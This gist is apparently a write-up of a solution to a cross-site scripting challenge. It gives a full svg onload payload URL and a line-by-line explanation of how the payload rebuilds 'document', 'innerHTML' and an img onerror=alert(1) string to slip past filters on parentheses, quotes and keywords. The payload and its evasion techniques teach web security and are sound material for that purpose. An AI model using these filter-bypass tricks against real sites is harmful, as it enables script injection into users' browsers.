Skip to content

Instantly share code, notes, and snippets.

@latentflip
Last active January 4, 2016 06:18
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save latentflip/8580688 to your computer and use it in GitHub Desktop.
Save latentflip/8580688 to your computer and use it in GitHub Desktop.
An explanation of solution to rafay.prakharprasad.com

XSS Explanation:

Adam Baldwin and I figured out a super long solution to rafay.prakharprasad.com. Here's the deets.

This was the full url http://rafay.prakharprasad.com/?search=%3Csvg/onload=z=[]%2batob;l=z[13];r=z[14];s=z[8];a=[]%2b/tnemucod/;a=a[8]%2ba[7]%2ba[6]%2ba[5]%2ba[4]%2ba[3]%2ba[2]%2ba[1];b=[]%2b/LMTHrenni/;b=b[9]%2bb[8]%2bb[7]%2bb[6]%2bb[5]%2bb[4]%2bb[3]%2bb[2]%2bb[1];c=[]%2b/Fa=crsFgmi%3C/;c=c[11]%2bc[10]%2bc[9]%2bc[8]%2bs%2bc[6]%2bc[5]%2bc[4]%2bc[3]%2bc[2]%2bs;d=[]%2b/X1Ztrela=rorreno/;d=d[16]%2bd[15]%2bd[14]%2bd[13]%2bd[12]%2bd[11]%2bd[10]%2bd[9]%2bd[8]%2bd[7]%2bd[6]%2bd[5]%2bd[4]%2bl%2bd[2]%2br;window[a].body[b]=c%2bd%2bwindow[a].body[b][8]//

Let's break it down

We can get javascript execution with http://rafay.prakharprasad.com/?search=%3Csvg/onload=foo// (check the console, you'll see foo is not defined.

So that's a start, but we want to get to alert(1);

We can't put http://rafay.prakharprasad.com/?search=%3Csvg/onload=alert(1)// because parentheses are blocked, as is alert.

So how did we get there, with the ridiculous thing above?

Well, what we actually end up executing is:

window.document.body.innerHTML = "<img src=a onerror=alert(1)>"

Let's break down what we executed, and see how we got there:

This is the javascript payload of the full vector that gets executed by the <svg/onload

z=[]%2batob;l=z[13];r=z[14];s=z[8];a=[]%2b/tnemucod/;a=a[8]%2ba[7]%2ba[6]%2ba[5]%2ba[4]%2ba[3]%2ba[2]%2ba[1];b=[]%2b/LMTHrenni/;b=b[9]%2bb[8]%2bb[7]%2bb[6]%2bb[5]%2bb[4]%2bb[3]%2bb[2]%2bb[1];c=[]%2b/Fa=crsFgmi%3C/;c=c[11]%2bc[10]%2bc[9]%2bc[8]%2bs%2bc[6]%2bc[5]%2bc[4]%2bc[3]%2bc[2]%2bs;d=[]%2b/X1Ztrela=rorreno/;d=d[16]%2bd[15]%2bd[14]%2bd[13]%2bd[12]%2bd[11]%2bd[10]%2bd[9]%2bd[8]%2bd[7]%2bd[6]%2bd[5]%2bd[4]%2bl%2bd[2]%2br;window[a].body[b]=c%2bd%2bwindow[a].body[b][8]//

Let's put some new lines in to make it clearer.

z=[]%2batob;
l=z[13];
r=z[14];
s=z[8];

a=[]%2b/tnemucod/;
a=a[8]%2ba[7]%2ba[6]%2ba[5]%2ba[4]%2ba[3]%2ba[2]%2ba[1];

b=[]%2b/LMTHrenni/;
b=b[9]%2bb[8]%2bb[7]%2bb[6]%2bb[5]%2bb[4]%2bb[3]%2bb[2]%2bb[1];

c=[]%2b/Fa=crsFgmi%3C/;
c=c[11]%2bc[10]%2bc[9]%2bc[8]%2bs%2bc[6]%2bc[5]%2bc[4]%2bc[3]%2bc[2]%2bs;

d=[]%2b/X1Ztrela=rorreno/;
d=d[16]%2bd[15]%2bd[14]%2bd[13]%2bd[12]%2bd[11]%2bd[10]%2bd[9]%2bd[8]%2bd[7]%2bd[6]%2bd[5]%2bd[4]%2bl%2bd[2]%2br;

window[a].body[b]=c%2bd%2bwindow[a].body[b][8]//

All of those %2b things are actually +, so let's replace those.

z=[]+atob;
l=z[13];
r=z[14];
s=z[8];

a=[]+/tnemucod/;
a=a[8]+a[7]+a[6]+a[5]+a[4]+a[3]+a[2]+a[1];

b=[]+/LMTHrenni/;
b=b[9]+b[8]+b[7]+b[6]+b[5]+b[4]+b[3]+b[2]+b[1];

c=[]+/Fa=crsFgmi%3C/;
c=c[11]+c[10]+c[9]+c[8]+s+c[6]+c[5]+c[4]+c[3]+c[2]+s;

d=[]+/X1Ztrela=rorreno/;
d=d[16]+d[15]+d[14]+d[13]+d[12]+d[11]+d[10]+d[9]+d[8]+d[7]+d[6]+d[5]+d[4]+l+d[2]+r;

window[a].body[b]=c+d+window[a].body[b][8]

That's looking a little clearer. So let's take it step by step:

// [] + atob calls toString on the function definition of atob
z=[]+atob; //z = "function atob() { [native code] }"


l=z[13]; // l = 14th char of z, = "(", we have a left-paren!
r=z[14]; // r = 14th char of z, = "(", we have a right-paren!
s=z[8];  // s = 9th char of z, = " ", we have a space char!
//We need a string "document", We can't write "document", because we can't use the string document, nor can we use quotes, so...

// [] + /regex/ -> "/regex/"
a=[]+/tnemucod/; // a is now "/tnemucod/"
a=a[8]+a[7]+a[6]+a[5]+a[4]+a[3]+a[2]+a[1]; // strip the leading and trailing slashes, and reverse, a = "document" 
// Do the same for b = "innerHTML"
b=[]+/LMTHrenni/;
b=b[9]+b[8]+b[7]+b[6]+b[5]+b[4]+b[3]+b[2]+b[1];
// Here we want c = "<img src=a "
// I just threw random separators, in to make the string the right length, so F is in place of " " here, because I can't use " " in the regex or it gets removed.
c=[]+/Fa=crsFgmi%3C/;

// When reconstructing, use our previously saved s, which is a space where I need spaces.
c=c[11]+c[10]+c[9]+c[8]+s+c[6]+c[5]+c[4]+c[3]+c[2]+s;
//Here we want d = "onerror=alert(1)"
//Again, X and Z are just placeholders for ( and )
d=[]+/X1Ztrela=rorreno/;

//use l and r variables, which have parens, instead of the X and Z placeholders
d=d[16]+d[15]+d[14]+d[13]+d[12]+d[11]+d[10]+d[9]+d[8]+d[7]+d[6]+d[5]+d[4]+l+d[2]+r;
//Put it all together!

//At this point:
a="document";
b="innerHTML";
c="<img src=a ";
d="onerror=alert(1)";

//I got this far and then realised I needed a closing ">" which I can't type either, so grab it from the current body with (window.document.body.innerHTML[8])

//window.document.body.innerHTML=<img src=a onerror=alert(1)>//
window[a].body[b]=c+d+window[a].body[b][8]//

I totally didn't write that all by hand, I scripted it.

NB: Turns out we could have just used .source on regexes, which converts them to strings. Yay learning.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment